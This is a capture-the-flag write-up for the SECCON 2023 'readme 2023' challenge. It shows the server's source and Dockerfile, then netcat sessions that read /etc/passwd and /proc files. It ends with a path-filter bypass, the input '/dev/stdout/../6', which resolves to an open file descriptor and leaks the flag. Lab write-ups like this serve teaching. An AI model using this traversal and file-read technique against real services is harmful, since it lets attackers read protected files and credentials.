readme 2023
4 minutes to read
We are provided with the Python source code that is running on the server:
import mmap
import os
import signal
signal.alarm(60)
try:
f = open("./flag.txt", "r")
mm = mmap.mmap(f.fileno(), 0, prot=mmap.PROT_READ)
except FileNotFoundError:
print("[-] Flag does not exist")
exit(1)
while True:
path = input("path: ")
if 'flag.txt' in path:
print("[-] Path not allowed")
exit(1)
elif 'fd' in path:
print("[-] No more fd trick ;)")
exit(1)
with open(os.path.realpath(path), "rb") as f:
print(f.read(0x100))
Moreover, we have a Dockerfile
that describes how the Docker container is built:
FROM python:3.11-slim
RUN apt-get -y update --fix-missing
RUN apt-get -y upgrade
RUN apt-get -y install socat
RUN groupadd -r ctf && useradd -r -g ctf ctf
WORKDIR /home/ctf
ADD server.py .
ADD flag.txt .
RUN chmod 550 server.py
RUN chmod 440 flag.txt
RUN chown -R root:ctf /home/ctf
USER ctf
CMD socat TCP-L:9999,fork,reuseaddr EXEC:"python server.py"
Source code analysis
The challenge is simple in the sense that the server uses mmap
to store the flag file in a page of memory and we are allowed to read arbitrary files, as long as the strings flag.txt
or fd
are not present in the path we specify:
$ nc readme-2023.seccon.games 2023
path: /etc/passwd
b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var'
path: /etc/hostname
b'a5e3ef93d92a\n'
path: /home/ctf/flag.txt
[-] Path not allowed
Also, notice that the server shows only 256 bytes of the file.
First attempts
At first, since we cannot use the substring flag.txt
, we might think on trying to analyze the memory mapping of the process to see if we can find its address. One nice target is /proc/self/maps
:
$ nc readme-2023.seccon.games 2023
path: /proc/self/maps
b'55ca2310d000-55ca2310e000 r--p 00000000 fc:03 1058172 /usr/local/bin/python3.11\n55ca2310e000-55ca2310f000 r-xp 00001000 fc:03 1058172 /usr/local/bin/python3.11\n55ca2310f000-55ca23110000 r--p 00002000 fc:03 1058172 '
However, since the server only shows 256 bytes, this file is useless.
If we run the Docker container locally, we can enter the container and look at useful files to determine how to read the flag:
ctf@429a26905335:~$ grep -r flag /proc/*/maps
/proc/38/maps:ffffa8d8a000-ffffa8d8b000 r--s 00000000 fe:01 3023842 /home/ctf/flag.txt
ctf@429a26905335:~$ cat /proc/38/maps
aaaadfa80000-aaaadfa81000 r-xp 00000000 fe:01 3021328 /usr/local/bin/python3.11
aaaadfa9f000-aaaadfaa0000 r--p 0000f000 fe:01 3021328 /usr/local/bin/python3.11
aaaadfaa0000-aaaadfaa1000 rw-p 00010000 fe:01 3021328 /usr/local/bin/python3.11
aaaaf065b000-aaaaf0941000 rw-p 00000000 00:00 0 [heap]
ffffa81bd000-ffffa82bd000 rw-p 00000000 00:00 0
ffffa8300000-ffffa8306000 r-xp 00000000 fe:01 3022132 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-aarch64-linux-gnu.so
ffffa8306000-ffffa831f000 ---p 00006000 fe:01 3022132 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-aarch64-linux-gnu.so
ffffa831f000-ffffa8320000 r--p 0000f000 fe:01 3022132 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-aarch64-linux-gnu.so
ffffa8320000-ffffa8321000 rw-p 00010000 fe:01 3022132 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-aarch64-linux-gnu.so
ffffa8327000-ffffa8589000 rw-p 00000000 00:00 0
ffffa8589000-ffffa85e0000 r--p 00000000 fe:01 3017853 /usr/lib/locale/C.utf8/LC_CTYPE
ffffa85e0000-ffffa8660000 r-xp 00000000 fe:01 3016986 /usr/lib/aarch64-linux-gnu/libm.so.6
ffffa8660000-ffffa866f000 ---p 00080000 fe:01 3016986 /usr/lib/aarch64-linux-gnu/libm.so.6
ffffa866f000-ffffa8670000 r--p 0008f000 fe:01 3016986 /usr/lib/aarch64-linux-gnu/libm.so.6
ffffa8670000-ffffa8671000 rw-p 00090000 fe:01 3016986 /usr/lib/aarch64-linux-gnu/libm.so.6
ffffa8680000-ffffa8807000 r-xp 00000000 fe:01 3016947 /usr/lib/aarch64-linux-gnu/libc.so.6
ffffa8807000-ffffa881c000 ---p 00187000 fe:01 3016947 /usr/lib/aarch64-linux-gnu/libc.so.6
ffffa881c000-ffffa8820000 r--p 0018c000 fe:01 3016947 /usr/lib/aarch64-linux-gnu/libc.so.6
ffffa8820000-ffffa8822000 rw-p 00190000 fe:01 3016947 /usr/lib/aarch64-linux-gnu/libc.so.6
ffffa8822000-ffffa882f000 rw-p 00000000 00:00 0
ffffa8830000-ffffa8ba9000 r-xp 00000000 fe:01 3021525 /usr/local/lib/libpython3.11.so.1.0
ffffa8ba9000-ffffa8bb2000 ---p 00379000 fe:01 3021525 /usr/local/lib/libpython3.11.so.1.0
ffffa8bb2000-ffffa8be0000 r--p 00382000 fe:01 3021525 /usr/local/lib/libpython3.11.so.1.0
ffffa8be0000-ffffa8d03000 rw-p 003b0000 fe:01 3021525 /usr/local/lib/libpython3.11.so.1.0
ffffa8d03000-ffffa8d46000 rw-p 00000000 00:00 0
ffffa8d52000-ffffa8d79000 r-xp 00000000 fe:01 3016929 /usr/lib/aarch64-linux-gnu/ld-linux-aarch64.so.1
ffffa8d7c000-ffffa8d80000 rw-p 00000000 00:00 0
ffffa8d80000-ffffa8d87000 r--s 00000000 fe:01 3016920 /usr/lib/aarch64-linux-gnu/gconv/gconv-modules.cache
ffffa8d87000-ffffa8d89000 rw-p 00000000 00:00 0
ffffa8d8a000-ffffa8d8b000 r--s 00000000 fe:01 3023842 /home/ctf/flag.txt
ffffa8d8b000-ffffa8d8d000 rw-p 00000000 00:00 0
ffffa8d8d000-ffffa8d8f000 r--p 00000000 00:00 0 [vvar]
ffffa8d8f000-ffffa8d90000 r-xp 00000000 00:00 0 [vdso]
ffffa8d90000-ffffa8d92000 r--p 0002e000 fe:01 3016929 /usr/lib/aarch64-linux-gnu/ld-linux-aarch64.so.1
ffffa8d92000-ffffa8d94000 rw-p 00030000 fe:01 3016929 /usr/lib/aarch64-linux-gnu/ld-linux-aarch64.so.1
ffffeaf73000-ffffeaf94000 rw-p 00000000 00:00 0 [stack]
As can be seen, in /proc/<pid>/maps
we can find the memory addresses where flag.txt
is stored. There is a directory at /proc/<pid>/map_files
that is useful to read the flag:
ctf@429a26905335:~$ ls /proc/38/map_files/
aaaadfa80000-aaaadfa81000 ffffa831f000-ffffa8320000 ffffa866f000-ffffa8670000 ffffa8820000-ffffa8822000 ffffa8d52000-ffffa8d79000
aaaadfa9f000-aaaadfaa0000 ffffa8320000-ffffa8321000 ffffa8670000-ffffa8671000 ffffa8830000-ffffa8ba9000 ffffa8d80000-ffffa8d87000
aaaadfaa0000-aaaadfaa1000 ffffa8589000-ffffa85e0000 ffffa8680000-ffffa8807000 ffffa8ba9000-ffffa8bb2000 ffffa8d8a000-ffffa8d8b000
ffffa8300000-ffffa8306000 ffffa85e0000-ffffa8660000 ffffa8807000-ffffa881c000 ffffa8bb2000-ffffa8be0000 ffffa8d90000-ffffa8d92000
ffffa8306000-ffffa831f000 ffffa8660000-ffffa866f000 ffffa881c000-ffffa8820000 ffffa8be0000-ffffa8d03000 ffffa8d92000-ffffa8d94000
ctf@429a26905335:~$ ls -l /proc/38/map_files/ffffa8d8a000-ffffa8d8b000
lr-------- 1 ctf ctf 64 Sep 20 13:28 /proc/38/map_files/ffffa8d8a000-ffffa8d8b000 -> /home/ctf/flag.txt
We could have used this approach if we knew the address where flag.txt
is mapped. The server is using os.path.realpath
, which resolves all symbolic links and directory traversals.
However, the fact that the server only shows 256 bytes is preventing us from using this approach.
Solution
Since os.path.realpath
resolves symlinks and directory traversals, we can notice this:
ctf@429a26905335:~$ ls -l /dev/stdout
lrwxrwxrwx 1 root root 15 Sep 20 13:23 /dev/stdout -> /proc/self/fd/1
Notice that we have open file descriptors in /proc/<pid>/fd
:
ctf@429a26905335:~$ ls -l /proc/47/fd
total 0
lrwx------ 1 ctf ctf 64 Sep 20 13:33 0 -> 'socket:[258446]'
lrwx------ 1 ctf ctf 64 Sep 20 13:33 1 -> 'socket:[258446]'
l-wx------ 1 ctf ctf 64 Sep 20 13:33 2 -> 'pipe:[255274]'
lrwx------ 1 ctf ctf 64 Sep 20 13:33 3 -> 'socket:[259303]'
lrwx------ 1 ctf ctf 64 Sep 20 13:33 4 -> 'socket:[259304]'
lr-x------ 1 ctf ctf 64 Sep 20 13:33 5 -> /home/ctf/flag.txt
lr-x------ 1 ctf ctf 64 Sep 20 13:33 6 -> /home/ctf/flag.txt
lrwx------ 1 ctf ctf 64 Sep 20 13:33 8 -> 'socket:[258447]'
Therefore, using /dev/stdout
will resolve to /proc/<pid>/fd/1
. If we move up one directory, we have that /dev/stdout/..
resolves to /proc/<pid>/fd
. And now we can speficy fd
number 6
, which points to the flag file:
$ nc localhost 2023
path: /dev/stdout/../6
b'FAKECON{******* FIND ME ON REMOTE SERVER *******}\n'
Flag
Let’s go remote:
$ nc readme-2023.seccon.games 2023
path: /dev/stdout/../6
b'SECCON{y3t_4n0th3r_pr0cf5_tr1ck:)}\n'